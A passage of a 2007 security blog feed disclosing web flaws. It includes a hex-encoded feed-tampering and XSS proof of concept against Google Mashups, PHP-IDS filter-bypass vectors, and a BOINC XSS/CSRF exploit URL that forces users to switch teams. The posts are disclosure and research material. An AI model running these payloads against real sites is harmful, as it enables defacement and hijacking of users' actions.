&lt;code&gt;^[a-zA-Z0-9_]{11}$&lt;br /&gt;&lt;/code&gt; (like the phpBB mod does)&lt;br /&gt;&lt;br /&gt;[EDIT]&lt;br /&gt;List of SMF vulnerable mod's:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.simplemachines.org/community/index.php?topic=107067.0"&gt;http://www.simplemachines.org/community/index.php?topic=107067.0&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.simplemachines.org/community/index.php?topic=165018.0"&gt;http://www.simplemachines.org/community/index.php?topic=165018.0&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.simplemachines.org/community/index.php?topic=139271.0"&gt;http://www.simplemachines.org/community/index.php?topic=139271.0&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Not vulnerable:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.simplemachines.org/community/index.php?topic=197280.0"&gt;http://www.simplemachines.org/community/index.php?topic=197280.0&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Unsafe IPB youtube mod instalation:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://novia.com.sg/forums/index.php?showtopic=12501"&gt;http://novia.com.sg/forums/index.php?showtopic=12501&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;[/EDIT]&lt;div class="blogger-post-footer"&gt;&lt;hr /&gt;
&lt;a href="http://sirdarckcat.net/"&gt;sirdarckcat&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7482149-7861122958728912419?l=sirdarckcat.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/8UdmNYSql8ggggFKDX75LmPbA-8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/8UdmNYSql8ggggFKDX75LmPbA-8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/8UdmNYSql8ggggFKDX75LmPbA-8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/8UdmNYSql8ggggFKDX75LmPbA-8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/sirdarckcat/~4/CnPTFNy-hBQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://sirdarckcat.blogspot.com/feeds/7861122958728912419/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://sirdarckcat.blogspot.com/2007/09/universal-youtube-mods-xss-explained-in.html#comment-form" title="3 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/7861122958728912419?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/7861122958728912419?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/sirdarckcat/~3/CnPTFNy-hBQ/universal-youtube-mods-xss-explained-in.html" title="Universal youtube mods XSS explained in 7 steps" /><author><name>sirdarckcat</name><uri>http://www.blogger.com/profile/12601594427575096471</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>3</thr:total><feedburner:origLink>http://sirdarckcat.blogspot.com/2007/09/universal-youtube-mods-xss-explained-in.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEQMQ3Y7cCp7ImA9WB9aEEg.&quot;"><id>tag:blogger.com,1999:blog-7482149.post-4581219350495787133</id><published>2007-09-28T11:36:00.000-05:00</published><updated>2007-12-30T16:06:22.808-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-12-30T16:06:22.808-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="csrf" /><category scheme="http://www.blogger.com/atom/ns#" term="xss" /><category scheme="http://www.blogger.com/atom/ns#" term="google" /><title>Google Mashups Vulnerability</title><content type="html">yay, I wanted to be part of &lt;a href="http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/"&gt;this&lt;/a&gt; &lt;a href="http://hackademix.net/2007/09/24/googhole-xss-pwning-gmail-picasa-and-almost-200k-customers/"&gt;hell &lt;/a&gt;&lt;a href="http://blog.beford.org/?p=3"&gt;of&lt;/a&gt; &lt;a href="http://xs-sniper.com/blog/2007/09/28/all-your-google-docs-are-belong-to-us/"&gt;a&lt;/a&gt; week (Google's Dark Week).&lt;br /&gt;&lt;br /&gt;Here is the vulnerability I reported to google, and it appears to be a "design error" (and there is no fix, without breaking other things).&lt;br /&gt;&lt;br /&gt;With this vulnerability you can "deface" any google-mashups project, creating your own XML-RPC to the GWT server, and change the contents of any feed.&lt;br /&gt;&lt;br /&gt;The report I sent to Google is this:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Supose, you are the creator of http://gallery.googlemashups.com/&lt;br /&gt;if you include a list, for a local feed, then any attacker from the world will be able to modify all the content in your website.&lt;br /&gt;&lt;br /&gt;This is maybe a design error, and as I see it, it's pretty dificult to fix.&lt;br /&gt;&lt;br /&gt;I've made a demonstration to http://gallery.googlemashups.com/&lt;br /&gt;Enter to the website, and go to the last page, there you will see that the last item was modified.&lt;br /&gt;&lt;br /&gt;to do so, you just need to execute the following code:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;br /&gt;with(new XMLHttpRequest()){&lt;br /&gt;open("POST","http://gallery.googlemashups.com/feeds/app/galleryApps",true);&lt;br /&gt;setRequestHeader("Content-Type","application/atom+xml; charset=utf-8");&lt;br /&gt;setRequestHeader("X-Gm-Validate","ASDFGHJKLÑPQWERRTYUIOPZXCVBNMUJHFDDDEFFDSSCFGGTFDQWERTYUIYTRREWWWQQ");&lt;br /&gt;setRequestHeader("X-GData-Client","JavaScript-V1.0-Google Mashup Editor");&lt;br /&gt;send(unescape("%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%20%65%6e%63%6f%64%69%6e%67%3d%22%55%54%46%2d%38%22%20%3f%3e%0d%0a%3c%61%74%6f%6d%3a%65%6e%74%72%79%20%78%6d%6c%6e%73%3a%67%6d%64%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%67%6d%64%2f%32%30%30%37%22%20%67%3d%22%63%6f%6d%2e%67%6f%6f%67%6c%65%2e%67%77%74%2e%63%6f%72%65%2e%63%6c%69%65%6e%74%2e%4a%61%76%61%53%63%72%69%70%74%4f%62%6a%65%63%74%22%20%78%6d%6c%6e%73%3a%61%74%6f%6d%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%35%2f%41%74%6f%6d%22%20%78%6d%6c%6e%73%3a%67%64%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%67%2f%32%30%30%35%22%20%78%6d%6c%6e%73%3a%67%6d%3d%22%68%74%74%70%3a%2f%2f%62%61%73%65%2e%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%6e%73%2d%6d%65%74%61%64%61%74%61%2f%31%2e%30%22%20%78%6d%6c%6e%73%3a%67%3d%22%68%74%74%70%3a%2f%2f%62%61%73%65%2e%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%6e%73%2f%31%2e%30%22%20%78%6d%6c%6e%73%3a%67%43%61%6c%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%67%43%61%6c%2f%32%30%30%35%22%20%78%6d%6c%6e%73%3a%73%74%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%73%74%2f%32%30%30%36%22%20%78%6d%6c%6e%73%3a%61%70%70%73%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%61%70%70%73%2f%32%30%30%36%22%20%78%6d%6c%6e%73%3a%78%73%6c%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%31%39%39%39%2f%58%53%4c%2f%54%72%61%6e%73%66%6f%72%6d%22%20%78%6d%6c%6e%73%3a%78%68%74%6d%6c%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%31%39%39%39%2f%78%68%74%6d%6c%22%20%78%6d%6c%6e%73%3a%6f%70%65%6e%53%65%61%72%63%68%3d%22%68%74%74%70%3a%2f%2f%61%39%2e%63%6f%6d%2f%2d%2f%73%70%65%63%2f%6f%70%65%6e%73%65%61%72%63%68%72%73%73%2f%31%2e%30%2f%22%20%78%6d%6c%6e%73%3a%6d%65%64%69%61%3d%22%68%74%74%70%3a%2f%2f%73%65%61%72%63%68%2e%79%61%68%6f%6f%2e%63%6f%6d%2f%6d%72%73%73%22%20%78%6d%6c%6e%73%3a%67%65%6f%72%73%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%67%65%6f%72%73%73%2e%6f%72%67%2f%67%65%6f%72%73%73%3d%67%65%6f%72%73%73%22%20%78%6d%6c%6e%73%3a%67%6d%6c%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%6f%70%65%6e%67%69%73%2e%6e%65%74%2f%67%6d%6c%3d%67%6d%6c%22%20%78%6d%6c%6e%73%3a%65%78%69%66%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%70%68%6f%74%6f%73%2f%65%78%69%66%2f%32%30%30%37%3d%65%78%69%66%22%20%78%6d%6c%6e%73%3a%67%6d%73%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%67%6d%73%2f%32%30%30%37%22%20%78%6d%6c%6e%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%35%2f%41%74%6f%6d%22%3e%0d%0a%3c%69%64%3e%68%74%74%70%3a%2f%2f%67%61%6c%6c%65%72%79%2e%67%6f%6f%67%6c%65%6d%61%73%68%75%70%73%2e%63%6f%6d%2f%66%65%65%64%73%2f%61%70%70%2f%67%61%6c%6c%65%72%79%41%70%70%73%2f%31%3c%2f%69%64%3e%0d%0a%3c%70%75%62%6c%69%73%68%65%64%3e%32%30%30%37%2d%30%39%2d%30%38%54%30%30%3a%31%39%3a%34%38%2e%36%32%35%5a%3c%2f%70%75%62%6c%69%73%68%65%64%3e%0d%0a%3c%75%70%64%61%74%65%64%3e%32%30%30%37%2d%30%39%2d%30%38%54%30%30%3a%31%39%3a%34%38%2e%36%32%35%5a%3c%2f%75%70%64%61%74%65%64%3e%0d%0a%3c%74%69%74%6c%65%20%74%79%70%65%3d%22%74%65%78%74%22%3e%4d%4f%44%49%46%49%45%44%21%21%21%21%21%21%21%21%21%21%21%21%3c%2f%74%69%74%6c%65%3e%0d%0a%3c%63%6f%6e%74%65%6e%74%20%74%79%70%65%3d%22%74%65%78%74%22%3e%4d%4f%44%49%46%49%45%44%21%21%21%21%21%21%21%21%21%21%21%3c%2f%63%6f%6e%74%65%6e%74%3e%0d%0a%3c%6c%69%6e%6b%20%72%65%6c%3d%22%73%65%6c%66%22%20%74%79%70%65%3d%22%61%70%70%6c%69%63%61%74%69%6f%6e%2f%61%74%6f%6d%20%78%6d%6c%22%20%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%31%2e%31%2e%74%65%73%74%2d%63%32%62%61%34%61%39%39%36%35%35%36%39%31%65%61%2e%67%6f%6f%67%6c%65%6d%61%73%68%75%70%73%2e%63%6f%6d%2f%66%65%65%64%73%2f%61%70%70%2f%67%61%6c%6c%65%72%79%41%70%70%73%2f%31%22%2f%3e%0d%0a%3c%6c%69%6e%6b%20%72%65%6c%3d%22%65%64%69%74%22%20%74%79%70%65%3d%22%61%70%70%6c%69%63%61%74%69%6f%6e%2f%61%74%6f%6d%20%78%6d%6c%22%20%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%31%2e%31%2e%74%65%73%74%2d%63%32%62%61%34%61%39%39%36%35%35%36%39%31%65%61%2e%67%6f%6f%67%6c%65%6d%61%73%68%75%70%73%2e%63%6f%6d%2f%66%65%65%64%73%2f%61%70%70%2f%67%61%6c%6c%65%72%79%41%70%70%73%2f%31%2f%30%22%2f%3e%0d%0a%3c%67%64%3a%61%70%70%4c%69%6e%6b%3e%6a%61%76%61%73%63%72%69%70%74%3a%61%6c%65%72%74%28%27%47%6f%6f%67%6c%65%4d%61%73%68%75%70%73%20%64%65%73%69%67%6e%20%65%72%72%6f%72%3f%27%29%3b%3c%2f%67%64%3a%61%70%70%4c%69%6e%6b%3e%0d%0a%3c%67%64%3a%69%6d%67%55%52%4c%3e%6a%61%76%61%73%63%72%69%70%74%3a%61%6c%65%72%74%28%27%47%6f%6f%67%6c%65%4d%61%73%68%75%70%73%20%64%65%73%69%67%6e%20%65%72%72%6f%72%3f%27%29%3b%3c%2f%67%64%3a%69%6d%67%55%52%4c%3e%0d%0a%3c%67%6d%64%3a%61%75%74%68%6f%72%3e%4d%4f%44%49%46%49%45%44%21%21%21%21%21%21%21%21%21%21%3c%2f%67%6d%64%3a%61%75%74%68%6f%72%3e%0d%0a%3c%2f%61%74%6f%6d%3a%65%6e%74%72%79%3e"));&lt;br /&gt;onreadystatechange=function(){&lt;br /&gt;if(readyState==4){&lt;br /&gt;alert(responseText);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;you can get the X-Gm-Validate token, by sniffing your connection, the modification of the feeds, doesnt require validation of any type.&lt;br /&gt;&lt;br /&gt;Well, that's the first part..&lt;br /&gt;with this information you can modify the content of any item on the feed, but that's not all.&lt;br /&gt;the information passed are not validated at all! so by means of..&lt;br /&gt;link=blah"&gt;XSS&lt;br /&gt;&lt;br /&gt;I could do a persistent XSS attack, this could completely destroy the project, make a deface or anything.&lt;br /&gt;&lt;br /&gt;If you need me to explain further please tell me.&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Well, actually there's also another XSS vulnerability in some other services, anyway, they are on their way of fixing them.. so I won't disclose them here (yet).&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr /&gt;
&lt;a href="http://sirdarckcat.net/"&gt;sirdarckcat&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7482149-4581219350495787133?l=sirdarckcat.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/1ii28TVWJuj0uKgWJuCKv4HE0D0/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/1ii28TVWJuj0uKgWJuCKv4HE0D0/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/1ii28TVWJuj0uKgWJuCKv4HE0D0/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/1ii28TVWJuj0uKgWJuCKv4HE0D0/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/sirdarckcat/~4/sahRyyFpUMU" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://sirdarckcat.blogspot.com/feeds/4581219350495787133/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://sirdarckcat.blogspot.com/2007/09/google-mashups-vulnerability.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/4581219350495787133?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/4581219350495787133?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/sirdarckcat/~3/sahRyyFpUMU/google-mashups-vulnerability.html" title="Google Mashups Vulnerability" /><author><name>sirdarckcat</name><uri>http://www.blogger.com/profile/12601594427575096471</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://sirdarckcat.blogspot.com/2007/09/google-mashups-vulnerability.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D04ARns4cSp7ImA9WB5aEU8.&quot;"><id>tag:blogger.com,1999:blog-7482149.post-8742621665079384511</id><published>2007-09-06T19:22:00.000-05:00</published><updated>2007-09-06T19:45:47.539-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-09-06T19:45:47.539-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="javascript" /><category scheme="http://www.blogger.com/atom/ns#" term="programming" /><title>Allowing debug in a javascript library</title><content type="html">Hi, some days ago I watched John Resig Tech Talk, about &lt;a href="http://video.google.com/videoplay?docid=-474821803269194441"&gt;building a JavaScript library&lt;/a&gt;, where he pointed out some "good habits", when programming, and when doing js libraries, pretty interesting.&lt;br /&gt;&lt;br /&gt;Any way, he mentioned that we shouldn't use try&amp;catch because the coder "cant" debug his code, because we trap the error, and he is never able to see it.. so, I thought that an interesting way of letting the "error pass", but still have controll of the library is using setTimeout, to let the code run asynchronously.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://ejohn.org/blog/building-a-javascript-library/#comment-241628"&gt;The code I submitted to his blog&lt;/a&gt;, is:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;setTimeout(function(){/*code here*/},0);&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;So, the error is reported to the user, and we dont loose the control of the code..&lt;br /&gt;&lt;br /&gt;Some time after that I thought that, it could also be used for letting code runing in memory.. (but it's cancelled as soon as you leave the website).&lt;br /&gt;&lt;br /&gt;Any way, as a programmer, I see this as a technique for running more than 1 process at one, as a security researcher, I see this as a technique for running XSS payloads in a more sigilous way.&lt;div class="blogger-post-footer"&gt;&lt;hr /&gt;
&lt;a href="http://sirdarckcat.net/"&gt;sirdarckcat&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7482149-8742621665079384511?l=sirdarckcat.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/LKEu8sgAL8Dam1EoDEdPVepFNz4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/LKEu8sgAL8Dam1EoDEdPVepFNz4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/LKEu8sgAL8Dam1EoDEdPVepFNz4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/LKEu8sgAL8Dam1EoDEdPVepFNz4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/sirdarckcat/~4/yq8erptD498" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://sirdarckcat.blogspot.com/feeds/8742621665079384511/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://sirdarckcat.blogspot.com/2007/09/allowing-debug-in-javascript-library.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/8742621665079384511?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/8742621665079384511?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/sirdarckcat/~3/yq8erptD498/allowing-debug-in-javascript-library.html" title="Allowing debug in a javascript library" /><author><name>sirdarckcat</name><uri>http://www.blogger.com/profile/12601594427575096471</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://sirdarckcat.blogspot.com/2007/09/allowing-debug-in-javascript-library.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUAFRHY8eSp7ImA9WB5bFkU.&quot;"><id>tag:blogger.com,1999:blog-7482149.post-6224306713906930619</id><published>2007-09-01T17:39:00.000-05:00</published><updated>2007-09-01T18:01:55.871-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-09-01T18:01:55.871-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="javascript" /><category scheme="http://www.blogger.com/atom/ns#" term="xss" /><title>7 minutes to kill a monster.</title><content type="html">Well, a response time of 1 week, is said to be good, &lt;a href="http://ha.ckers.org/blog/20070803/mozilla-says-ten-fucking-days"&gt;Mozilla has 10 f***ing days&lt;/a&gt;, Google depending on the complexity of the vulnerability takes between 1 day to a few weeks to fix them, but &lt;a href="http://mario.heideri.ch/"&gt;Mario Heiderich&lt;/a&gt;, developer of the &lt;a href="http://www.php-ids.org/"&gt;PHP-IDS&lt;/a&gt;, has an amazing 7 minutes time to pull a patch for a vuln.&lt;br /&gt;&lt;br /&gt;A week ago, he talked me about a "call for hacking" to PHP-IDS, and I said it would be really difficult, because &lt;a href="http://sla.ckers.org/forum/read.php?2,13209,page=1"&gt;the last time&lt;/a&gt;, the filters where extremely enforced, so I started playing (before the call for hacking was published), and in an hour I found 3 vectors, and made &lt;a href="http://www.sirdarckcat.net/xss-phpids.html"&gt;a PoC, of 666 bytes&lt;/a&gt; (that's why it's a monster xD), 2 of them where based on &lt;a href="http://www.maone.net/"&gt;Giorgio Maone&lt;/a&gt; window.name vector.&lt;br /&gt;&lt;br /&gt;So, I asked Mario, if I have to wait until the call for hacking was published, but he pulled the patch immediatelly.&lt;br /&gt;&lt;br /&gt;A few minutes later, I found another HTML vector (&lt;a href="http://demo.php-ids.org/?test=%22style=%22"&gt;"style="anything&lt;/a&gt;), that was fixed too.&lt;br /&gt;&lt;br /&gt;So he decided to&lt;a href="http://php-ids.org/2007/09/01/interview-with-sirdarckcat/"&gt; interview me&lt;/a&gt;, as a price for winning an unstarted contest :P.&lt;br /&gt;&lt;br /&gt;The vectors where:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;pre id="line1"&gt;&lt;span class="attribute-value"&gt;open(name)&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li&gt;&lt;pre id="line1"&gt;&lt;span class="attribute-value"&gt;&lt;/span&gt;&lt;span class="attribute-value"&gt;eval(name)&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li&gt;&lt;pre id="line1"&gt;&lt;span class="attribute-value"&gt;&lt;/span&gt;&lt;span class="attribute-value"&gt;(1?(1?{a:1?""[1?"ev\a\l":0](1?"\a\lert":0):0}:0).a:0)[1?"\c\a\l\l":0](content,1?"x\s\s":0)&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;/ul&gt;I'm sure that &lt;a href="http://www.thespanner.co.uk/"&gt;Gareth Heyes&lt;/a&gt;, and &lt;a href="http://www.hackademix.net/"&gt;Giorgio Maone&lt;/a&gt; will be the next to find some vectors :)&lt;div class="blogger-post-footer"&gt;&lt;hr /&gt;
&lt;a href="http://sirdarckcat.net/"&gt;sirdarckcat&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7482149-6224306713906930619?l=sirdarckcat.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/fuhyCl0t_oEWiBNJVuP8Fprc88k/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/fuhyCl0t_oEWiBNJVuP8Fprc88k/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/fuhyCl0t_oEWiBNJVuP8Fprc88k/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/fuhyCl0t_oEWiBNJVuP8Fprc88k/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/sirdarckcat/~4/EOc_wFKvUfU" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://sirdarckcat.blogspot.com/feeds/6224306713906930619/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://sirdarckcat.blogspot.com/2007/09/7-minutes-to-kill-monster.html#comment-form" title="7 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/6224306713906930619?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/6224306713906930619?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/sirdarckcat/~3/EOc_wFKvUfU/7-minutes-to-kill-monster.html" title="7 minutes to kill a monster." /><author><name>sirdarckcat</name><uri>http://www.blogger.com/profile/12601594427575096471</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>7</thr:total><feedburner:origLink>http://sirdarckcat.blogspot.com/2007/09/7-minutes-to-kill-monster.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEUGQnY4fSp7ImA9WB5bEko.&quot;"><id>tag:blogger.com,1999:blog-7482149.post-4072360527964194068</id><published>2007-08-23T10:27:00.000-05:00</published><updated>2007-08-27T23:43:43.835-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-08-27T23:43:43.835-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="csrf" /><category scheme="http://www.blogger.com/atom/ns#" term="xss" /><title>SHA-1 Collision Search Graz XSS and CSRF</title><content type="html">A couple of days ago, at &lt;a href="https://foro.elhacker.net/index.php/topic,177278.0.html"&gt;elhacker.net&lt;/a&gt;, they showed a project, for finding SHA-1 collisions.&lt;br /&gt;After I registered, I found out that there was a "competition" of teams, for winning credits.&lt;br /&gt;&lt;a href="http://boinc.iaik.tugraz.at/sha1_coll_search/top_teams.php"&gt;http://boinc.iaik.tugraz.at/sha1_coll_search/top_teams.php&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;So, after checking out how it worked, I found a CSRF, and XSS at the team search engine.&lt;br /&gt;&lt;br /&gt;So, I made a simple exploit, that will change your team to.. &lt;a href="http://boinc.iaik.tugraz.at/sha1_coll_search/team_display.php?teamid=1"&gt;BOINC Confederation&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The XSS vuln, is here:&lt;br /&gt;&lt;a href="http://boinc.iaik.tugraz.at/team_lookup.php?team_name=XSS&amp;search=Search"&gt;http://boinc.iaik.tugraz.at/team_lookup.php?team_name=XSS&lt;/a&gt;&lt;xss&gt;&lt;a href="http://boinc.iaik.tugraz.at/team_lookup.php?team_name=XSS&amp;amp;search=Search"&gt;&amp;search=Search&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The CSRF vuln is in all forms..&lt;br /&gt;&lt;br /&gt;The exploit (for firefox) is:&lt;br /&gt;&lt;a href="http://boinc.iaik.tugraz.at/team_lookup.php?team_name=%3Cscript%3Ewith%28new%20XMLHttpRequest%28%29%29%7Bopen%28%22GET%22,%22http://boinc.iaik.tugraz.at/team_quit_form.php%22,false%29;send%28null%29;x=responseText.match%28/id%20value=%28%5B0-9%5D*%29/%29%5B1%5D;open%28%22POST%22,%22http://boinc.iaik.tugraz.at/team_quit_action.php%22,false%29;setRequestHeader%28%22Content-Type%22,%22application/x-www-form-urlencoded%22%29;send%28%22id=%22%2Bx%29;open%28%22POST%22,%22http://boinc.iaik.tugraz.at/team_join_action.php%22,false%29;setRequestHeader%28%22Content-Type%22,%22application/x-www-form-urlencoded%22%29;send%28%22teamid=1%22%29;%7D%3C/script%3E&amp;search=Search"&gt;http://boinc.iaik.tugraz.at/team_lookup.php?team_name=%3Cscript%3Ewith(new%20XMLHttpRequest()){open(%22GET%22,%22http://boinc.iaik.tugraz.at/team_quit_form.php%22,false);send(null);x=responseText.match(/id%20value=([0-9]*)/)[1];open(%22POST%22,%22http://boinc.iaik.tugraz.at/team_quit_action.php%22,false);setRequestHeader(%22Content-Type%22,%22application/x-www-form-urlencoded%22);send(%22id=%22%2Bx);open(%22POST%22,%22http://boinc.iaik.tugraz.at/team_join_action.php%22,false);setRequestHeader(%22Content-Type%22,%22application/x-www-form-urlencoded%22);send(%22teamid=1%22);}%3C/script%3E&amp;amp;search=Search&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Pretty simple :P&lt;br /&gt;&lt;br /&gt;So, by "stealing" a user of an important team.. you can make your team win, the list of the top users is here:&lt;br /&gt;&lt;a href="http://boinc.iaik.tugraz.at/top_users.php"&gt;http://boinc.iaik.tugraz.at/top_users.php&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Greetz!!&lt;br /&gt;&lt;br /&gt;--EDIT--&lt;br /&gt;The bug has been fixed :) is good to see that someone actually reads my blog xD&lt;br /&gt;&lt;/xss&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr /&gt;
